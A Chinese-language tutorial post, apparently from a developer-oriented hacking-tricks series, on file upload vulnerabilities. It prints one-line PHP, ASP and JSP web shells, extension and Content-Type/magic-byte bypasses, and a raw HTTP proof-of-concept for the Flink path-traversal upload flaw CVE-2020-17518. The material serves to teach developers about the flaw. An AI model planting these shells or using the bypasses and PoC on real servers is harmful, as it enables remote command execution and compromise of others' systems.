iT邦幫忙

2021 iThome 鐵人賽

DAY 16
0

前言

上班倒數 QQ

正文

概念

不管你是要繳交各種報名資料,申請某公司職位或是各種社交帳號和通訊軟體,都會遇到需要上傳功能的時候。若是這些服務,沒有好好檢查用戶上傳的檔案,會發生甚麼事呢?

這種漏洞通常影響很大,可以寫入web shell,上傳惡意文件讓一般用戶受到危害,甚至觸發拿來觸發其他的應用程式漏洞(Buffer Overflow)等等。

例如一個網站設計了一個上傳大頭貼的功能,但沒有對上傳的副檔名做出限制
這時候使用者只要簡單的寫一行該網站使用的語言的web shell就可以,例如:

PHP

<?php echo system($_REQUEST['cmd']); ?>

ASP

<% eval request("cmd") %>

JSP

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

當然,這可以透過檢查副檔名的方式,對上傳的檔案進行限制,所以也衍生出了很多bypass的方式。例如:

  • .php.png
  • .php5
  • .pht
  • .phtml

或是透過讀取使用者發來的Content-Type去做判斷。例如
Content-Type: image/gif
但由於這本身就等於信任User Request的任何input,因此也是最好繞過的,只要將Content-Type的value寫入網站可以接受的類型就可以了

也有一種保護方式是透過檢查User的POST Request中的data來進行判斷,例如data的開頭為:

GIF87a

這可能就會讓具有漏洞的網站應用程式將其判斷為一張GIF檔案,這時在下面再寫下Web Shell或是Reverse Shell就可以了。

Case Study

CVE-2020-17518

Flink 引入了一個 REST handler,這允許攻擊者將已上傳的文件寫入本地任意位置的文件中,並且可通過一個惡意修改的 HTTP header將這些文件寫入到Flink 可以訪問的任意位置。

POC

POST /jars/upload HTTP/1.1
Host: example.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 201

------WebKitFormBoundaryo
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/tmp.txt"
Content-Type: text/plain
GET IT
------WebKitFormBoundary--

也可以利用上面的方法,覆蓋已經存在的文件


上一篇
[Day15] CSV Injection(Formula Injection)
下一篇
[Day17] XML Signature Wrapping
系列文
讓Web開發者森77的Hacking Trick30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言